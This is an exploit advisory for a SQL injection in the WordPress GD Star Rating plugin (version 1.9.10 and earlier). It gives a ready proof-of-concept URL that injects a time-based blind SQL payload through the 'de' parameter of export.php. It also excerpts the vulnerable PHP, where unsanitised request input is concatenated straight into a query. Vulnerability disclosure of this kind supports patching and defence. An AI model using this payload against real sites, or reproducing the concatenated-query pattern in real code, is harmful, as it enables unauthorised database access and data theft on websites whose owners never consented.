WordPress GD Star Rating plugin <= 1.9.10 SQL Injection

# Exploit Title: WordPress GD Star Rating plugin <= 1.9.10 SQL Injection Vulnerability
# Date: 2011-09-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/gd-star-rating.zip
# Version: 1.9.10 (tested)
# Note: magic_quotes has to be turned off

---
PoC
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http://www.site.com/wp-content/plugins/gd-star-rating/export.php?ex=user&us=dummy&de=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
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./export.php
    require_once("./code/cls/export.php");
    ...
    if (isset($_GET["ex"])) {
        $export_type = $_GET["ex"];
        ...
        switch($export_type) {
            case "user":
                header('Content-type: text/csv');
                header('Content-Disposition: attachment; filename="gdsr_export_'.$export_name.'.csv"');
                $sql = GDSRExport::export_users($_GET["us"], $_GET["de"], $get_data);
                $rows = $wpdb->get_results($sql, ARRAY_N);

./code/cls/export.php
    class GDSRExport {
        ...
        function export_users($user_data = "min", $data_export = "article", $get_data = array()) {
            ...
            $where = array();
            ...
            $where[] = "v.vote_type = '".$data_export."'";
            ...
            $j_where = join(" and ", $where);
            ...
            return sprintf("select %s from %s where %s order by u.id",
                    $j_select, $j_tables, $j_where);